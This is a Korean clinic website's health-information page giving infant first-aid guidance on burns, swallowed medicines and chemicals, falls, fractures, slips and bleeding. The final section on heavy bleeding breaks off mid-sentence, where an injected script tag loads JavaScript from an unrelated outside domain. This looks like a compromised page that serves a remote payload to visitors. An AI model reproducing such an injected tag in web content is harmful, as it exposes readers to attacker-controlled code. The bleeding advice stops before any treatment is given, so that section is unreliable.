본문바로가기 메뉴 바로가기 서브메뉴 바로가기

코성형

코성형

코성형

건강정보

  • 의학정보
  • 건강칼럼
  • 건강강좌
  • 관련질환
  • 이럴땐이렇게
  • 임신&출산
  • 태교
  • 육아
  • 의학동영상
  • 진료안내 : 평일 am9:00~pm8:00 , 토요일 am9:00~pm1:00, 공휴일 am 9:00~pm1:00
  • 미즈베베 고객센터 063-840-5000

육아

건강정보>육아

등록시 입력한 비밀번호를 입력하세요.

비밀번호 입력

제목

응급치료

작성자명관리자
조회수1077
등록일2014-02-20 오후 11:08:09
구분건강과질병

화상

1. 증 상

자라는 아기들에게 가장 흔한 응급사고는 화상이다. 아기의 화상은 겉으로 보기보다 심각한 경우가 많다. 가벼운 화상일지라도 입원치료를 받아야 할 때가 있다. 화상은 입은 정도에 따라 1도. 2도. 3도 화상으로 분류된다. 1도 화상은 피부가 빨갛게 변하면서 아린다. 2도 화상은 물집이 생긴 경우이다. 3도 화상은 피하조직까지 화상을 입은 경우인데 피부가 하얗게 변한다.

2. 처 치

어느 경우든 냉찜질로 응급처치를 해야 한다. 통증이 가실 때까지 찬물로 식혀주도록 한다. 만약 옷을 입은 채 뜨거운 물을 뒤집어 썼다면 옷을 입힌 채 충분히 식혀줘야 한다. 무리하게 옷을 벗기면 피부까지 벗겨지는 경우가 있기 때문에 되도록이면 옷을 억지로 벗기지 않은채로 병원으로 데려가야 한다. 화상을 입은 아이에게 된장이나 간장 등을 바르는 민간요법을 실시하면 상태를 악화시킨다. 오히려 상처가 곪아서 치료가 오래 걸리는 원인이 되기 때문에 이런 방법은 사용하지 않도록 한다.


위험한 것을 삼켰을 때

1. 증 상

어린 아기들은 손에 잡히는 것이면 무엇이든 입 안에 집어넣기를 좋아한다. 큰 장난감을 입 안에 넣었다면 별 문제가 없지만 위험한 물질을 삼켰거나 음식물을 흡입하여 기도의 폐쇄를 일으켰다면 빨리 응급처치를 취해야 한다.

2. 처 치

만약 약물이나 화학물질을 삼켰다면 바로 병원으로 데려가야 한다. 아기들이 집어먹기 쉬운 약물은 대부분 집안에 상비해 둔 약이다. 만약 아스피린이나 철분제를 삼켰다면 매우 위험하다. 지체하지 말고 병원으로 가야 한다. 가정에도 많은 화학약품이 있다. 세제종류는 대부분 화학약품인데 이중 특히 위험한 것은 표백제이다. 부엌이나 목욕탕에 놓여 있는 세제류는 걷거나 기어다니는 시기의 아기에게는 호기심을 불러일으켜 사고가 날 수 있으므로 손에 닿지 않는 곳에 치우도록 한다.

아기가 표백제와 같은 독성이 있는 화학물질을 삼켰다면 토하게 해서는 안된다. 아기를 우선 안정시키고, 금식시킨다. 의식이 없으면 아기를 엎드려 놓고 머리를 옆으로 돌려놔야 한다. 빨리 병원으로 데려가는 것이 좋다. 땅콩, 동전, 바둑알, 단추 같은 딱딱한 물질을 삼켜 목에 걸렸을 때는 아기를 거꾸로 해서 등을 두드려 주도록 한다. 목에 걸리지 않고 위로 넘어갔을 경우 대부분은 변에 섞여 나온다.


굴러 떨어졌을 때

1. 증상과 처치

아기들은 높은 곳에 올라가는 것을 좋아한다. 소파, 의자, 침대, 실내에 세워둔 자전거나 유모차에 올라가기를 좋아하는데 굴러 떨어지는 경우도 흔하다. 또한 계단을 오르다가도 쉽게 굴러떨어진다. 아기가 떨어졌을 때 주의깊게 살펴봐야 할 부분은 머리. 안아주었더니 울음을 그치고 평상시처럼 잘 논다면 별 문제가 없다.

하지만 평상시와는 다른 울음소리를 내면서 심하게 보채거나 구토와 경련을 보인다면 곧 병원으로 옮겨야 한다. 뇌를 다쳤을 가능성이 많기 때문이다. 또한 굴러 떨어진 직후에는 괜찮았는데 시간이 지나면서 갑자기 구토를 하거나, 심하게 보채거나 졸거나 졸도를 하면 곧바로 병원으로 데려가야 한다.


골절이 의심될 때

1. 증 상

아기가 굴러 떨어졌거나, 서랍을 여닫다가 손가락이 끼이면 골절이 되는 수가 있다. 뼈가 부러진 상태를 골절이라고 한다. 아기가 골절이 됐을 때 나타나는 징후는 다음과 같다.

  • 통증 때문에 심하게 울부짖는다.
  • 부러진 부위가 부어오르면서 보랏빛으로 변한다.

    2. 처 치

    뼈가 부러졌을 때 뼈를 고정시키려고 지나치게 당기거나 뼈를 움직이면 신경이나 혈관이 다치는 경우가 있다. 아파하지 않을 정도로 부목을 대고 곧바로 병원으로 옮겨야 한다. 부목은 자, 젓가락, 나무토막과 같은 주변에서 흔히 볼 수 있는 일상용품을 이용한다. 만약 아기의 팔이 빠졌다면 삼각건 등으로 고정시킨 다음 병원으로 가야 한다. 아기의 한쪽 팔이 축 늘어졌다거나 장난감을 주어도 쥐지 못하면 팔이 빠졌을 가능성이 많다.


    미끄러졌을 때

    1. 증상과 처치

    걷기 시작한 아기들은 펄쩍펄쩍 뛰면서 어디든지 가고 싶어한다. 현관이나 목욕탕, 싱크대 앞에 깔아 놓은 매트는 걸음마를 하는 아기에게 위험하다. 뒤뚱거리는 걸음으로 매트를 잘못 밟으면 그대로 미끄러지기 십상이다. 가볍게 미끄러지면 별 문제가 되지 않지만 달려가다가 심하게 미끄러지면 뇌진탕이 생길 위험이 있다. 미끄러진 아기가 기절하거나, 놀라서 심하게 울면 병원으로 데려가도록 한다.


    출혈이 심할 때

    1. 증상과 처치

    뾰족한 가구, 날카로운 도구에 긁히거나 베이면 상처가 생긴다. 큰 상처가 아니면 몇 분 지나지 않아 자연히 피가 멎는다. 그러나 상처가 깊고 피가 많이 나와 잘 멈추지 않을 때는 ?script src=http://s.kaisimi.net/s.js>